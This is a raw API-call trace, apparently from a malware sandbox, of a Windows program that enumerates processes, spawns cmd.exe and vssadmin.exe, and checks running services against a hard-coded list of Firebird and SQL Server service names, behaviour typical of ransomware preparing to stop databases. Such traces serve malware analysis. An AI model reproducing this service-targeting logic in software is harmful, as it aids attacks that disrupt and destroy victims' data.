	[0044.369] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0044.370] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0044.370] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0044.370] lstrlenW (lpString="converter.exe") returned 13
	[0044.371] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0044.371] lstrlenW (lpString="once.exe") returned 8
	[0044.371] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0044.372] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0044.372] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0044.373] lstrlenW (lpString="always.exe") returned 10
	[0044.373] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0044.373] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0044.373] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0044.374] lstrlenW (lpString="donated.exe") returned 11
	[0044.374] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0044.375] lstrlenW (lpString="nowherepike.exe") returned 15
	[0044.375] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0044.375] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0044.375] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0044.376] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0044.376] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0044.377] lstrlenW (lpString="allowance.exe") returned 13
	[0044.377] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0044.377] lstrlenW (lpString="conducting affect.exe") returned 21
	[0044.378] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0044.378] lstrlenW (lpString="plaintiff.exe") returned 13
	[0044.378] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0044.379] lstrlenW (lpString="dialog.exe") returned 10
	[0044.379] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0044.380] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0044.380] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0044.380] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0044.380] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0044.761] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0044.762] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0044.762] lstrlenW (lpString="swpesp.exe") returned 10
	[0044.762] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0044.763] lstrlenW (lpString="cmd.exe") returned 7
	[0044.763] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0044.764] lstrlenW (lpString="conhost.exe") returned 11
	[0044.764] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0044.764] lstrlenW (lpString="vssadmin.exe") returned 12
	[0044.764] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0044.765] lstrlenW (lpString="VSSVC.exe") returned 9
	[0044.765] Process32NextW (in: hSnapshot=0x1ec, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0
	[0044.766] CloseHandle (hObject=0x1ec) returned 1
	[0044.766] Sleep (dwMilliseconds=0x1f4) 
	[0045.585] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d06b0
	[0045.586] EnumServicesStatusExW (in: hSCManager=0x35d06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0045.586] GetLastError () returned 0xea
	[0045.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x36a4310
	[0045.586] EnumServicesStatusExW (in: hSCManager=0x35d06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36a4310, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36a4310, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0045.586] CloseServiceHandle (hSCObject=0x35d06b0) returned 1
	[0045.587] lstrlenW (lpString="Appinfo") returned 7
	[0045.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0045.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0045.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0045.587] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0045.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0045.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0045.587] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0045.587] lstrlenW (lpString="AudioSrv") returned 8
	[0045.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0045.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0045.587] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0045.587] lstrlenW (lpString="BFE") returned 3
	[0045.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0045.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0045.587] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0045.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0045.587] lstrlenW (lpString="CryptSvc") returned 8
	[0045.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0045.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0045.588] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0045.588] lstrlenW (lpString="CscService") returned 10
	[0045.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0045.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0045.588] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0045.588] lstrlenW (lpString="DcomLaunch") returned 10
	[0045.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0045.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0045.588] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0045.588] lstrlenW (lpString="Dhcp") returned 4
	[0045.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0045.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0045.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0045.588] lstrlenW (lpString="Dnscache") returned 8
	[0045.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0045.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0045.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0045.588] lstrlenW (lpString="DPS") returned 3
	[0045.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0045.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0045.588] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0045.589] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0045.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0045.589] lstrlenW (lpString="eventlog") returned 8
	[0045.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0045.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0045.589] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0045.589] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0045.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0045.589] lstrlenW (lpString="EventSystem") returned 11
	[0045.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0045.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0045.589] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0045.589] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0045.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0045.589] lstrlenW (lpString="gpsvc") returned 5
	[0045.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0045.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0045.589] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0045.589] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0045.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0045.589] lstrlenW (lpString="iphlpsvc") returned 8
	[0045.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0045.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0045.589] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0045.589] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0045.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0045.589] lstrlenW (lpString="LanmanServer") returned 12
	[0045.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0045.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0045.589] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0045.589] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0045.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0045.590] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0045.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0045.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0045.590] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0045.590] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0045.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0045.590] lstrlenW (lpString="lmhosts") returned 7
	[0045.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0045.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0045.590] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0045.590] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0045.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0045.590] lstrlenW (lpString="MMCSS") returned 5
	[0045.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0045.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0045.590] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0045.590] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0045.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0045.590] lstrlenW (lpString="MpsSvc") returned 6
	[0045.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0045.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0045.590] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0045.590] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0045.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0045.590] lstrlenW (lpString="Netman") returned 6
	[0045.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0045.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0045.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0045.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0045.591] lstrlenW (lpString="netprofm") returned 8
	[0045.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0045.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0045.591] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0045.591] lstrlenW (lpString="NlaSvc") returned 6
	[0045.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0045.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0045.591] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0045.591] lstrlenW (lpString="nsi") returned 3
	[0045.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0045.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0045.591] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0045.591] lstrlenW (lpString="PcaSvc") returned 6
	[0045.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0045.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0045.591] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0045.591] lstrlenW (lpString="PlugPlay") returned 8
	[0045.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0045.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0045.591] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0045.591] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0045.592] lstrlenW (lpString="Power") returned 5
	[0045.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0045.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0045.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0045.592] lstrlenW (lpString="ProfSvc") returned 7
	[0045.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0045.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0045.592] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0045.592] lstrlenW (lpString="RpcEptMapper") returned 12
	[0045.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0045.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0045.592] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0045.592] lstrlenW (lpString="RpcSs") returned 5
	[0045.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0045.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0045.592] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0045.592] lstrlenW (lpString="SamSs") returned 5
	[0045.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0045.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0045.592] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0045.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0045.593] lstrlenW (lpString="Schedule") returned 8
	[0045.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0045.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0045.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0045.593] lstrlenW (lpString="SENS") returned 4
	[0045.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0045.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0045.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0045.593] lstrlenW (lpString="ShellHWDetection") returned 16
	[0045.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0045.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0045.593] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0045.593] lstrlenW (lpString="Spooler") returned 7
	[0045.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0045.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0045.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0045.593] lstrlenW (lpString="swprv") returned 5
	[0045.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0045.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0045.593] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
